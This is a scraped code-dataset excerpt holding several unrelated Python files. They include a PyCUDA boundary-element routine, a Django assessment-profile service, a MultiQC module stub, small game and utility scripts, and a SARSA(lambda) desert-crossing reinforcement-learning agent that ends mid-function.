toc - tic\n\n    # Evaluation\n    IorE = 0    # This evaluation is on charge points, no self-operator\n    AI_int = 0\n    phi_reac = zeros(len(xq))\n    time_P2P = 0.\n    time_M2P = 0.\n    for i in range(len(xq)):\n        CJ = 0\n        Kval = 0.\n        Vval = 0.\n        source = []\n        Kval, Vval, source, time_M2P = M2P_nonvec(Cells, CJ, xq[i], Kval, Vval,\n                                                 ind_reac.index_large, par_reac, source, time_M2P)\n        Kval, Vval, AI_int, time_P2P = P2P_nonvec(Cells, surface, X_V, X_Kx, X_Ky, X_Kz, X_Kc, X_Vc,\n                                        xq[i], Kval, Vval, IorE, par_reac, w, source, AI_int, time_P2P)\n        phi_reac[i] = (-Kval + Vval)/(4*pi)\n#    print '\\tTime set: %f'%time_P2M\n#    print '\\tTime P2M: %f'%time_P2M\n#    print '\\tTime M2M: %f'%time_M2M\n#    print '\\tTime M2P: %f'%time_M2P\n#    print '\\tTime P2P: %f'%time_P2P\n\n    return phi_reac, AI_int\n\ndef get_phir_gpu (XK, XV, surface, field, par_reac, kernel):\n\n    REAL = par_reac.REAL\n    Nq = len(field.xq)\n    N = len(XK)\n    MV = zeros(len(XK))\n    L = sqrt(2*surface.Area) # Representative length\n    AI_int = 0\n\n    # Setup vector\n    K = par_reac.K\n    tic = time.time()\n    w    = getWeights(K)\n    X_V = zeros(N*K)\n    X_Kx = zeros(N*K)\n    X_Ky = zeros(N*K)\n    X_Kz = zeros(N*K)\n    X_Kc = zeros(N*K)\n    X_Vc = zeros(N*K)\n\n    for i in range(N*K):\n        X_V[i]   = XV[i/K]*w[i%K]*surface.Area[i/K]\n        X_Kx[i]  = XK[i/K]*w[i%K]*surface.Area[i/K]*surface.normal[i/K,0]\n        X_Ky[i]  = XK[i/K]*w[i%K]*surface.Area[i/K]*surface.normal[i/K,1]\n        X_Kz[i]  = XK[i/K]*w[i%K]*surface.Area[i/K]*surface.normal[i/K,2]\n        X_Kc[i]  = XK[i/K]\n        X_Vc[i]  = XV[i/K]\n    \n    toc = time.time()\n    time_set = toc - tic\n    \n    sort = surface.sortSource\n    phir = cuda.to_device(zeros(Nq, dtype=REAL))\n    m_gpu   = cuda.to_device(X_V[sort].astype(REAL))\n    mx_gpu  = cuda.to_device(X_Kx[sort].astype(REAL))\n    my_gpu  = cuda.to_device(X_Ky[sort].astype(REAL))\n    mz_gpu  = cuda.to_device(X_Kz[sort].astype(REAL))\n    mKc_gpu = cuda.to_device(X_Kc[sort].astype(REAL))\n    mVc_gpu = cuda.to_device(X_Vc[sort].astype(REAL))\n    AI_int_gpu = cuda.to_device(zeros(Nq, dtype=int32))\n    xkDev = cuda.to_device(surface.xk.astype(REAL))\n    wkDev = cuda.to_device(surface.wk.astype(REAL))\n\n\n    get_phir = kernel.get_function(\"get_phir\")\n    \n    GSZ = int(ceil(float(Nq)/par_reac.BSZ))\n\n    get_phir(phir, field.xq_gpu, field.yq_gpu, field.zq_gpu, m_gpu, mx_gpu, my_gpu, mz_gpu, mKc_gpu, mVc_gpu, \n            surface.xjDev, surface.yjDev, surface.zjDev, surface.AreaDev, surface.kDev, surface.vertexDev, \n            int32(len(surface.xj)), int32(Nq), int32(par_reac.K), xkDev, wkDev, REAL(par_reac.threshold),\n            AI_int_gpu, int32(len(surface.xk)), surface.XskDev, surface.WskDev, block=(par_reac.BSZ,1,1), grid=(GSZ,1))\n\n    AI_aux = zeros(Nq, dtype=int32)\n    AI_aux = cuda.from_device(AI_int_gpu, Nq, dtype=int32)\n    AI_int = sum(AI_aux)\n\n    phir_cpu = zeros(Nq, dtype=REAL)\n    phir_cpu = cuda.from_device(phir, Nq, dtype=REAL)\n\n    return phir_cpu, AI_int\n","repo_name":"maxalbert/pygbe","sub_path":"bem_pycuda/projection.py","file_name":"projection.py","file_ext":"py","file_size_in_byte":8631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"}
+{"seq_id":"16602003002","text":"import itertools\nfrom django.db import transaction\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db.models import Count\n\nfrom common.restutil import ActionResult\n\nfrom assessment.models import AssessmentProject\n\nfrom baseinfo.models.profilemodels import ProfileTag, AssessmentProfile, ProfileLike\nfrom baseinfo.serializers.profileserializers import AssessmentProfileSerilizer\nfrom baseinfo.models.profilemodels import AssessmentProfile, ProfileTag\nfrom baseinfo.models.metricmodels import MetricImpact\n\ndef load_profile(profile_id) -> AssessmentProfile:\n    try:\n        return AssessmentProfile.objects.get(id = profile_id)\n    except AssessmentProfile.DoesNotExist as e:\n        raise AssessmentProfile.DoesNotExist\n\ndef load_profile_tag(tag_id) -> ProfileTag:\n    try:\n        return ProfileTag.objects.get(id = tag_id)\n    except ProfileTag.DoesNotExist:\n        raise ObjectDoesNotExist\n\ndef is_profile_deletable(profile_id):\n    profile = load_profile(profile_id)\n    if is_profile_used_in_assessments(profile):\n        return ActionResult(success=False, message='Some assessments with this profile exist')    \n    return ActionResult(success=True) \n\ndef is_profile_used_in_assessments(profile: AssessmentProfile):\n    qs = AssessmentProject.objects.filter(assessment_profile_id = profile.id)\n    if qs.count() > 0:\n        return True\n    return False\n\ndef extract_detail_of_profile(profile, request):\n    response = extract_profile_basic_infos(profile)\n    response['profileInfos'] = extract_profile_report_infos(profile)\n    response['subjectsInfos'] = extract_subjects_infos(profile)\n    response['questionnaires'] = extract_questionnaires_infos(profile)\n    extra_profile_info = AssessmentProfileSerilizer(profile, context={'request': request}).data\n    response['is_active'] = extra_profile_info['is_active']\n    response['expert_group'] = extra_profile_info['expert_group']\n    response['number_of_assessment'] = extra_profile_info['number_of_assessment']\n    response['current_user_delete_permission'] = extra_profile_info['current_user_delete_permission']\n    response['current_user_is_coordinator'] = extra_profile_info['current_user_is_coordinator']\n    return response\n\ndef extract_profile_basic_infos(profile: AssessmentProfile):\n    response = {}\n    response['title'] = profile.title\n    response['summary'] = profile.summary\n    response['about'] = profile.about\n    response['last_update'] = profile.last_modification_date\n    response['creation_date'] = profile.creation_time\n    return response\n\ndef extract_questionnaires_infos(profile: AssessmentProfile):\n    questionnairesInfos = []\n    questionnaires = profile.questionnaires.all()\n    for questionnaire in questionnaires:\n        questionnaire_infos = {}\n        questionnaire_infos['title'] = questionnaire.title\n        questionnaire_infos['description'] = questionnaire.description\n        questionnaire_infos['report_infos'] = __extract_questionnaire_report_info(questionnaire)\n        questionnaire_infos['questions'] = __extract_questionnaire_metric_info(questionnaire) \n        questionnairesInfos.append(questionnaire_infos)\n    return questionnairesInfos\n\ndef extract_subjects_infos(profile):\n    subjectsInfos = []\n    subjects = profile.assessment_subjects.all()\n    for subject in subjects:\n        attributes_qs = subject.quality_attributes\n        subject_infos = {}\n        subject_infos['title'] = subject.title\n        subject_infos['description'] = subject.description\n        subject_infos['report_infos'] =  __extratc_subject_report_info(subject)\n        subject_infos['attributes_infos'] = __extract_subject_attributes_info(attributes_qs)\n        subjectsInfos.append(subject_infos)\n    return subjectsInfos\n\ndef extract_profile_report_infos(profile):\n    profileInfos = []\n    subjects = profile.assessment_subjects.all()\n    profileInfos.append(__extract_profile_questionnaire_count(profile.questionnaires))\n    profileInfos.append(__extract_profile_attribute_count(subjects))\n    profileInfos.append(__extract_profile_metric_count(profile.questionnaires))\n    profileInfos.append(__extract_profile_subjects(subjects))\n    profileInfos.append(__extract_profile_tags(profile.tags.all()))\n    return profileInfos\n\ndef __extract_subject_attributes_info(attributes_qs):\n    attributes_infos = []\n    for att in attributes_qs.all():\n        att_info = {}\n        att_info['title'] = att.title\n        att_info['description'] = att.description\n        att_info['questions'] = __extract_related_attribute_metrics(att)\n        attributes_infos.append(att_info)\n    return attributes_infos\n\ndef __extract_related_attribute_metrics(att):\n    impacts = att.metric_impacts.all()\n    questions = []\n    for impact in impacts:\n        metric = {}\n        metric['title'] = impact.metric.title\n        metric['impact'] = impact.level\n        metric['options'] = __extract_metric_options(impact.metric)\n        questions.append(metric)\n    return questions\n\ndef __extratc_subject_report_info(subject):\n    report_infos = []\n    report_infos.append({'title' : 'Number of attributes', 'item': subject.quality_attributes.count()})\n    report_infos.append({'title' : 'Index of the {}'.format(subject.title), 'item': subject.index})\n    return report_infos\n\ndef __extract_questionnaire_metric_info(questionnaire):\n    questions = []\n    for metric in questionnaire.metric_set.all():\n        info = {}\n        info['title'] = metric.title\n        info['inedx'] = metric.index\n        info['listOfOptions'] = __extract_metric_options(metric)\n        info['relatedAttributes'] = __extratc_metric_related_attributes(metric)\n        questions.append(info)\n    return questions\n\ndef __extratc_metric_related_attributes(metric):\n    relatedAttributes = []\n    for impact in metric.metric_impacts.all():\n        relatedAttributes.append({'title' : impact.quality_attribute.title, 'item': impact.level})\n    return relatedAttributes\n\ndef __extract_metric_options(metric):\n    return [answer.caption for answer in metric.answer_templates.all()]\n\ndef __extract_questionnaire_report_info(questionnaire):\n    report_infos = []\n    report_infos.append({'title' : 'Number of questions', 'item': questionnaire.metric_set.count()})\n    report_infos.append({'title' : 'Questionnaire index', 'item': questionnaire.index})\n    report_infos.append({'title' : 'Related subjects', 'item': [subject.title for subject in questionnaire.assessment_subjects.all()]})\n    return report_infos\n\ndef __extract_profile_subjects(subjects):\n    subject_titles = [subject.title for subject in subjects]\n    return {'title' : 'Subjects', 'item': subject_titles}\n\ndef __extract_profile_tags(tags):\n    tag_titles = [tag.title for tag in tags]\n    return {'title' : 'Tags', 'item': tag_titles, 'type': 'tags'}\n    \ndef __extract_profile_questionnaire_count(questionnaires):\n    return {'title' : 'Questionnaires count', 'item': questionnaires.count()}\n\ndef __extract_profile_metric_count(questionnaires):\n    total_metric_count = 0\n    for questionnaire in questionnaires.all():\n        total_metric_count += questionnaire.metric_set.count()\n    return {'title' : 'Total questions count', 'item': total_metric_count}\n\ndef __extract_profile_attribute_count(subjects):\n    attributes = []\n    for subject in subjects:\n        attributes.extend(subject.quality_attributes.all())\n    return {'title' : 'Attributes count', 'item': len(attributes)}\n\n\ndef get_current_user_delete_permission(profile: AssessmentProfile, current_user_id):\n    number_of_assessment = AssessmentProject.objects.filter(assessment_profile_id = profile.id).count()\n    if number_of_assessment > 0:\n        return False\n    if profile.expert_group is not None:\n        user = profile.expert_group.users.filter(id = current_user_id)\n        return user.count() > 0\n    return True\n\ndef get_current_user_is_coordinator(profile: AssessmentProfile, current_user_id):\n    if profile.expert_group is not None:\n        if profile.expert_group.owner is not None:\n            if profile.expert_group.owner.id == current_user_id:\n                return True\n    return False\n\n@transaction.atomic\ndef archive_profile(profile: AssessmentProfile):\n    if not profile.is_active:\n        return ActionResult(success=False, message='The profile has already been archived')\n    profile.is_active = False\n    profile.save()\n    return ActionResult(success=True, message='The profile is archived successfully')\n\n@transaction.atomic     \ndef publish_profile(profile: AssessmentProfile):\n    if profile.is_active:\n        return ActionResult(success=False, message='The profile has already been published')\n    profile.is_active = True\n    profile.save()\n    return ActionResult(success=True, message='The profile is published successfully')\n\n@transaction.atomic\ndef like_profile(user_id, profile_id):\n    profile = load_profile(profile_id)\n    profile_like_user = ProfileLike.objects.filter(user_id = user_id, profile_id = profile.id)\n    if profile_like_user.count() == 1:\n        profile.likes.filter(user_id = user_id, profile_id = profile.id).delete()\n        profile.save()\n    elif profile_like_user.count() == 0:\n        profile_like_create = ProfileLike.objects.create(user_id = user_id, profile_id = profile.id)\n        profile.likes.add(profile_like_create)\n        profile.save()\n    return profile\n\ndef analyze(profile_id):\n    profile = AssessmentProfile.objects.get(pk=profile_id)\n\n    queryset = MetricImpact.objects.filter(\n        quality_attribute__assessment_subject__assessment_profile=profile\n    ).values('quality_attribute__title', 'level').annotate(\n        metric_number=Count('metric')\n    ).order_by('quality_attribute__title', 'level')\n\n    result = {}\n\n    for obj in queryset:\n        title = obj['quality_attribute__title']\n        level = obj['level']\n        metric_number = obj['metric_number']\n\n        if title not in result:\n            result[title] = {}\n\n        if level not in result[title]:\n            result[title][level] = metric_number\n\n    output = []\n    for title, levels in result.items():\n        metrics_number_by_level = [{'level': level, 'metric_number': metric_number} for level, metric_number in levels.items()]\n        output.append({'attributes': title, 'metrics_number_by_level': metrics_number_by_level})\n\n    return ActionResult(data=output, success=True)\n\ndef extract_profile_attribute(profile):\n    subjects = profile.assessment_subjects.all()\n    attributes = []\n    for subject in subjects:\n        attributes.append(subject.quality_attributes.values('id', 'title'))\n    return list(itertools.chain(*attributes))\n\ndef get_extrac_profile_data(profile, request):\n    result =[]\n    data = {}\n    data[\"id\"] = profile.id\n    data[\"title\"] = profile.title\n    data['summary'] = profile.summary\n    data['about'] = profile.about\n    data[\"tags\"] = profile.tags.all()\n    result.append(data)\n    return result\n\n@transaction.atomic\ndef update_profile(profile, request,**kwargs):\n    if len(kwargs) == 0 :\n        return ActionResult(success=False, message=\"All fields cannot be empty.\")\n    try:\n        if \"tags\" in kwargs:\n            profile.tags.clear()\n            for tag in kwargs[\"tags\"]:\n                profile.tags.add(ProfileTag.objects.get(id=tag))\n            profile.save()\n            kwargs.pop(\"tags\")\n        profile = AssessmentProfile.objects.filter(id=profile.id).update(**kwargs)\n        return ActionResult(success=True, message=\"Profile edited successfully.\")\n    except ProfileTag.DoesNotExist:\n        return ActionResult(success=False, message=\"There is no profile tag with this id.\")\n\n","repo_name":"alialibalaei/backend","sub_path":"apps/baseinfo/services/profileservice.py","file_name":"profileservice.py","file_ext":"py","file_size_in_byte":11584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70510266027","text":"\nimport logging\n\nfrom multiqc.modules.base_module import BaseMultiqcModule\nfrom multiqc.plots import bargraph\n\n# Initialise the logger\nlog = logging.getLogger(__name__)\n\n\nclass MultiqcModule(BaseMultiqcModule):\n    def __init__(self):\n        # Initialise the parent object\n        super(MultiqcModule, self).__init__(\n            name=\"Slide-seq\",\n            anchor=\"slideseq\",\n            href=\"https://www.nature.com/articles/s41587-020-0739-1\",\n            info=\"is a spatial transcriptomics technology,\"\n            \" created by Sam Rodriques at the Broad Institute in Cambridge.\",\n        )\n\n        self.add_section(\n            name=\"Read 1 length\",\n            anchor=\"slideseq_read1_length\",\n            description=\"Check that read 1 is long enought to contain barcode and UMI\",\n            helptext=\"\"\"\n            The first step is to throw away the read pairs whose read 1 is too shortself.\n            For example, if you have the following read structure 8C18U6C9M, then you need at least 41 bp.\n            \"\"\",\n            plot=bargraph.plot({\"sample1\": {\"x\": 45, \"y\":55, \"z\": 70}, \"sample2\": {\"x\": 30, \"y\": 70, \"z\": 60}}),\n        )\n","repo_name":"bahnk/MultiQC-SlideSeq","sub_path":"multiqc_slideseq/modules/slideseq/slideseq.py","file_name":"slideseq.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"2715281440","text":"import numpy as np\n\nfrom miniMaxAlgorithm import *\nfrom Winning import *\n\n\nPLAYER = 0\nAI = 1\nEMPTY = 0\nPLAYER_PIECE = 1\nAI_PIECE = 2\nBLUE = (0, 0, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nYELLOW = (255, 255, 0)\nROW_COUNT = 6\nCOLUMN_COUNT = 7\nWINDOW_LENGTH = 4\n\ndef formBord():\n    board = np.zeros((ROW_COUNT, COLUMN_COUNT))\n    return board\n\ndef putting_peice(board, row, col, piece):\n    board[row][col] = piece\n\n    \ndef get_next_open_row(board, col):\n    for r in range(ROW_COUNT):\n        if board[r][col] == 0:\n            return r\n\ndef showgame(board):\n    print(np.flip(board, 0))\n","repo_name":"ran-ibra/Ai-project","sub_path":"Board.py","file_name":"Board.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24977084066","text":"import numpy as np\r\nimport torch\r\n\r\nfrom pathlib import Path\r\n\r\nclass RandomMaskingGenerator:\r\n    def __init__(self, number_patches, mask_ratio):\r\n        self.number_patches = number_patches\r\n        self.num_mask = int(mask_ratio * self.number_patches)\r\n\r\n    def __repr__(self):\r\n        repr_str = \"Maks: total patches {}, mask patches {}\".format(\r\n            self.number_patches, self.num_mask\r\n        )\r\n        return repr_str\r\n\r\n    def __call__(self):\r\n        mask = np.hstack([\r\n            np.zeros(self.number_patches - self.num_mask),\r\n            np.ones(self.num_mask),\r\n        ])\r\n        np.random.shuffle(mask)\r\n        return mask \r\n#-------------------------------------------------------------------------------\r\nclass DataMask(object):\r\n    def __init__(self, args):\r\n        self.masked_position_generator = RandomMaskingGenerator(\r\n            args.number_patches, args.mask_ratio\r\n        )\r\n    def __call__(self, data):\r\n        return data, self.masked_position_generator()\r\n    def __repr__(self):\r\n        repr = \"(DataMask,\\n\"\r\n        repr += \"  Masked position generator = %s,\\n\" % str(self.masked_position_generator)\r\n        repr += \")\"\r\n        return repr\r\n#-------------------------------------------------------------------------------\r\ndef get_sinusoid_encoding_table(n_position, d_hid):\r\n    def get_position_angle_vec(position):\r\n        return [position / np.power(10000, 2 * (hid_j // 2) / d_hid) for hid_j in range(d_hid)]\r\n\r\n    sinusoid_table = np.array([get_position_angle_vec(pos_i) for pos_i in range(n_position)])\r\n    sinusoid_table[:, 0::2] = np.sin(sinusoid_table[:, 0::2]) \r\n    sinusoid_table[:, 1::2] = np.cos(sinusoid_table[:, 1::2]) \r\n\r\n    return torch.FloatTensor(sinusoid_table).unsqueeze(0).cuda()\r\n#-------------------------------------------------------------------------------\r\ndef save_model(args, epoch, model, optimizer):\r\n    output_dir = Path(args.output_dir)\r\n    epoch_name = str(epoch)\r\n    checkpoint_paths = [output_dir / ('checkpoint-%s.pth' % epoch_name)]\r\n    for checkpoint_path in checkpoint_paths:\r\n        to_save = {\r\n            'model': model.state_dict(),\r\n            'optimizer': optimizer.state_dict(),\r\n            'epoch': epoch,\r\n            'args': args,\r\n        }\r\n        torch.save(to_save, checkpoint_path)\r\n#-------------------------------------------------------------------------------\r\ndef load_state_dict(model, state_dict, prefix='', ignore_missing=\"relative_position_index\"):\r\n    missing_keys = []\r\n    unexpected_keys = []\r\n    error_msgs = []\r\n    metadata = getattr(state_dict, '_metadata', None)\r\n    state_dict = state_dict.copy()\r\n    if metadata is not None:\r\n        state_dict._metadata = metadata\r\n\r\n    def load(module, prefix=''):\r\n        local_metadata = {} if metadata is None else metadata.get(\r\n            prefix[:-1], {})\r\n        module._load_from_state_dict(\r\n            state_dict, prefix, local_metadata, True, missing_keys, unexpected_keys, error_msgs)\r\n        for name, child in module._modules.items():\r\n            if child is not None:\r\n                load(child, prefix + name + '.')\r\n\r\n    load(model, prefix=prefix)\r\n\r\n    warn_missing_keys = []\r\n    ignore_missing_keys = []\r\n    for key in missing_keys:\r\n        keep_flag = True\r\n        for ignore_key in ignore_missing.split('|'):\r\n            if ignore_key in key:\r\n                keep_flag = False\r\n                break\r\n        if keep_flag:\r\n            warn_missing_keys.append(key)\r\n        else:\r\n            ignore_missing_keys.append(key)\r\n\r\n    missing_keys = warn_missing_keys\r\n\r\n    if len(missing_keys) > 0:\r\n        print(\"Weights of {} not initialized from pretrained model: {}\".format(\r\n            model.__class__.__name__, missing_keys))\r\n    if len(unexpected_keys) > 0:\r\n        print(\"Weights from pretrained model not used in {}: {}\".format(\r\n            model.__class__.__name__, unexpected_keys))\r\n    if len(ignore_missing_keys) > 0:\r\n        print(\"Ignored weights of {} not initialized from pretrained model: {}\".format(\r\n            model.__class__.__name__, ignore_missing_keys))\r\n    if len(error_msgs) > 0:\r\n        print('\\n'.join(error_msgs))\r\n","repo_name":"ibanezfd/MAEST","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"37"}
+{"seq_id":"74038001707","text":"def even_or_odd(s):\n    n = int(s)\n    even_sum = 0\n    odd_sum = 0\n    for i in range(len(s)):\n        if int(s[i]) % 2 == 0:\n            even_sum += int(s[i])\n        else:\n            odd_sum += int(s[i])\n    if even_sum > odd_sum:\n        return 'Even is greater than Odd'\n    elif odd_sum > even_sum:\n        return 'Odd is greater than Even'\n    else:\n        return 'Even and Odd are the same'","repo_name":"Juozapaitis/CodeWars","sub_path":"7 kyu/even_or_odd.py","file_name":"even_or_odd.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8936931392","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 29 18:12:02 2021\n\n@author: Haoyuan Yang\n\n毕业设计：穿越沙漠 第二题 第四关 格子世界环境\n\"\"\"\n#负向奖励版本\n#优化更新过程，理论上能减少很大的运算量\nimport gym\nimport random\nimport numpy as np\nimport pickle\nimport time\nimport matplotlib.pyplot as plt\n\npro_SandStorm=0.1\nepsilon_lower_bound=0.1\n\nenv=gym.make('GrandGridWorld-v0')\nenv=env.DessertCrossing()\n#env=env.DessertCrossing_simple() #一个简化过后的环境，为了保证训练的效率\nenv.reset()\n\n#在整个DessertCrossing环境中，动作空间是分离的\n#0：左  1：右  2：上  3：下  4：不动\n#state=x+n_width*y  坐标轴原点在左下角\n\nclass Sarsa_Agent(object):\n    def __init__(self,):\n        self.env=env          #环境设置为格子世界\n        self.Q={}         #用来存所有的状态动作索引\n        self.Q_epoch={}   #用来暂存一个epoch状态的索引\n        self.E={}\n        self.pro_fine=None\n        self.pro_SandStorm=pro_SandStorm\n        self.water=240\n        self.food=240\n        #用一个很大的负值告诉他不能这样走\n        self.reward_tabular=np.array([[-22.5,-67.5,-75],\n                                      [-55,-135,-10000],\n                                      [-82.5+1000,-202.5+1000,-225+1000]])\n        return\n    \n    def _init_agent(self):\n        self.env.reset()\n        self.water=240\n        self.food=240\n        return\n    \n    def get_weather(self):\n        #注意，这里有三种不一样的天气\n        #小概率发生沙尘暴(2)\n        #如何另外两种天气随机(0,1)\n        if self.pro_fine is None:\n            print(\"天气生成失败\")\n            return None\n        rand_value_1=random.random()\n        rand_value_2=random.random()\n        if rand_value_1 <= self.pro_SandStorm:\n            #生成沙尘暴\n            return 2\n        if rand_value_2 <= self.pro_fine:\n            return 0\n        else:\n            return 1\n        \n    def _name_state(self,state):\n        #将状态(数组)转化为字符串\n        return str(state)\n    \n    def _assert_state(self,state_name,randomized=True):\n        if not self._is_state_in_Q(state_name):\n            self._init_state_value(state_name,randomized)\n        \n    def _is_state_in_Q(self,state_name):\n        return self.Q.get(state_name) is not None\n    \n    def _init_state_value(self,state_name,randomized=True):\n        #这个版本把E表从初值表中剥离出去了，因为E是随着Q_epoch更新的\n        if not self._is_state_in_Q(state_name):\n            self.Q[state_name]={}\n            for action in range(self.env.action_space.n):\n                default_v=random.random()/10 if randomized is True else 0.0\n                self.Q[state_name][action]=default_v\n        return\n    \n    '''\n    def E_copy_Q(self):\n        #这个函数是为了reload 准备的\n        #如果需要reload训练好的模型（Q表），则需要复制一下\n        for state in self.Q:\n            self.E[state]={}\n            for action in range(self.env.action_space.n):\n                self.E[state][action]=0.0\n    '''\n    \n    def _get_(self,QorE,state_name,pos_1):\n        self._assert_state(state_name,randomized=True)\n        return QorE[state_name][pos_1]\n    \n    def _set_(self,QorE,state_name,pos_1,value):\n        self._assert_state(state_name,randomized=True)\n        QorE[state_name][pos_1]=value\n    \n    def _reset_Q_epoch_E(self):\n        #重新赋值为0，千万不要初始化\n        #现在可以初始化了\n        '''\n        for value_dic in self.E.values():\n            for action in range(self.env.action_space.n):\n                value_dic[action]=0.00\n        '''\n        self.Q_epoch={}\n        self.E={}\n    \n    \n    def update_Q_epoch(self,theta,alpha):\n        #根据参数更新Q_epoch\n        for state in self.Q_epoch:\n            for pos_1 in self.Q_epoch[state]:\n                self.Q_epoch[state][pos_1]=self.Q_epoch[state][pos_1]+alpha*theta*self.E[state][pos_1]\n    \n    def update_E(self,gamma,lambda_):\n        #根据参数更新E\n        for state in self.E:\n            for pos_1 in self.E[state]:\n                self.E[state][pos_1]=gamma*lambda_*self.E[state][pos_1]\n    \n    def _set_Q_epoch_E(self,state_name):\n        #初始化Q_epoch和E_epoch中的值\n        #直接从Q表复制\n        self.Q_epoch[state_name]={}\n        self.E[state_name]={}\n        for action in range(self.env.action_space.n):\n            self.Q_epoch[state_name][action]=self.Q[state_name][action]\n            self.E[state_name][action]=0.0\n        pass\n    \n    def update_Q(self):\n        #将Q_epoch的值更新到Q里面去\n        error=0\n        for state in self.Q_epoch:\n            for pos_1 in self.Q_epoch[state]:\n                if abs(self.Q[state][pos_1]-self.Q_epoch[state][pos_1]) >= error:\n                    error=abs(self.Q[state][pos_1]-self.Q_epoch[state][pos_1])\n                self.Q[state][pos_1]=self.Q_epoch[state][pos_1]\n        return error\n    \n                \n    def policy(self,state_name,epsilon):\n        self._assert_state(state_name,randomized=False)     #最好不要随机初始化\n        self._set_Q_epoch_E(state_name)                     #设置Q_epoch E\n        Q_s=self.Q_epoch[state_name]                        #改成Q_epoch 减少索引次数\n        rand_value=random.random()\n        if rand_value <= epsilon:\n            action=self.env.action_space.sample()\n        else:\n            action= int(max(Q_s,key=Q_s.get))\n        return action\n    \n    def get_reward(self,observation_0,observation_1,weather_0):\n        #除了返回reward，同时也要扣除相应的资源\n        #先给出基础消耗\n        if weather_0 == 0:\n            water_consume=3\n            food_consume=4\n        elif weather_0 == 1:\n            water_consume=9\n            food_consume=9\n        else:\n            water_consume=10\n            food_consume=10\n        \n        #村庄优先级最高，防止出现多个返回值\n        if observation_1 == 13:\n            #按照行走三天高温购买一个基础量\n            self.water += 54\n            self.food  += 54\n            return -1620\n        \n        #如果停留\n        if observation_0 == observation_1:\n            #考虑挖矿与否\n            if observation_0 == 7:\n                self.water -= water_consume*3\n                self.food -= food_consume*3\n                return self.reward_tabular[2,weather_0]\n            else:\n                self.water -= water_consume\n                self.food -= food_consume\n                return self.reward_tabular[0,weather_0]\n        else:\n            #即行动\n            self.water -= water_consume*2\n            self.food -= food_consume*2\n            return self.reward_tabular[1,weather_0]\n   \n    def learning(self,lambda_,gamma,alpha,max_episode_num):\n        #开始学习\n        #如果不初始化，是否可以继续学习？\n        self._init_agent()\n        time_start=time.time()\n        loss_list=[]\n        return_list=[]\n        average_return=0\n        return_iteration=1000\n        \n        #用于评估 average——return 和成功率的list\n        eval_ar=[]\n        eval_sr=[]\n        for num_episode in range(max_episode_num):\n            eval_iteration=1000000\n            if num_episode % eval_iteration == 0 or num_episode==max_episode_num-1:\n                #开始针对averagereturn 做评估\n                head='NO4_'\n                mid=str(int(num_episode/eval_iteration)*int(eval_iteration//10000))\n                end='w_automatic_alpha_10-2.pickle'\n                file_name=head+mid+end\n                file = open(file_name, 'wb')\n                pickle.dump(self.Q, file)\n                file.close()\n                average_return,success_rate=self.evaluate_policy(10000)\n                eval_ar.append(average_return)\n                eval_sr.append(success_rate)\n                \n            #这个部分可以展示训练进度\n            present_percent_0=int((num_episode*100/max_episode_num)*100)/100\n            present_percent_1=int(((num_episode+1)*100/max_episode_num)*100)/100\n            if present_percent_0!=present_percent_1:\n                print(\"训练进度：{:.2f}%\".format(present_percent_0))\n            #首先创建一个线性下降的epsilon\n            epsilon=max(1-num_episode/max_episode_num,epsilon_lower_bound)\n            \n            self._init_agent()\n            #self._reset_E()\n            self._reset_Q_epoch_E()\n            total_reward=0\n            self.pro_fine=random.random()\n            weather_0=self.get_weather()\n            observation_0=self.env.state\n            water=int(self.water/240*10)\n            food=int(self.food/240*10)\n            state_0=self._name_state([observation_0,weather_0,0,water,food])\n            \n            present=False\n            if num_episode/max_episode_num >0.999999:\n                present=True\n            \n            if present:\n                self.env.render()\n                \n            for i in range(30):\n                \n                action_0=self.policy(state_0, epsilon)\n                observation_1,reward,is_done,info=env.step(action_0)\n                if present:\n                    self.env.render()\n                    print(\"第{}天，到达{}，天气{}\".format(i,observation_1,weather_0))\n                #两件事：修改reward和自身状态\n                reward=self.get_reward(observation_0, observation_1, weather_0)\n                \n                if is_done and present:\n                    print(\"到达终点\")\n                \n                if self.water < 0 or self.food < 0:\n                    is_done=True\n                    if present:\n                        print(\"未到达终点\")\n                    reward -= 10000 #未到达终点的惩罚\n                if i == 29 and observation_1!= 4:\n                    is_done=True\n                    if present:\n                        print(\"未到达终点\")\n                    reward -= 10000 #未到达终点的惩罚\n                \n                total_reward += reward\n                weather_1=self.get_weather()\n                water=int(self.water/240*10)\n                food=int(self.food/240*10)\n                state_1=self._name_state([observation_1,weather_1,i+1,water,food])\n                action_1=self.policy(state_1, 0) #这里的更新是greedy的\n                old_q=self._get_(self.Q, state_0, action_0)\n                new_q=self._get_(self.Q, state_1, action_1)\n                if is_done:\n                    theta=reward\n                else:\n                    theta=reward+gamma*new_q-old_q\n                E_value=self._get_(self.E, state_0, action_0)+1\n                self._set_(self.E, state_0, action_0, E_value)\n                #print(\"Q表长度{},E表长度{}\".format(len(self.Q),len(self.E)))\n                \n                self.update_Q_epoch(theta, alpha)\n                self.update_E(gamma, lambda_)\n                observation_0=observation_1\n                weather_0=weather_1\n                state_0=state_1\n                if is_done:\n                    #计算平均返回值\n                    average_return+=total_reward\n                    #计算平均返回值\n                    if present:\n                        print(\"总奖励值：{}\".format(total_reward))\n                    break\n            error_epoch=self.update_Q()\n            loss_list.append(error_epoch)\n            time_end=time.time()\n            \n            #计算一下average return（外部处理，看下面）\n            '''\n            if num_episode%return_iteration == 0 and num_episode!=0:\n                return_list.append(average_return/return_iteration)\n                average_return=0\n            '''\n            #外部处理iteration的数据\n            if num_episode!=0:\n                return_list.append(total_reward)\n            \n        print(\"训练总时间{}\".format(time_end-time_start))\n        return self.Q, return_list, eval_ar, eval_sr\n         \n    def show_policy(self,Q_name,times):\n        with open(Q_name, 'rb') as file:\n            Q=pickle.load(file)\n        \n        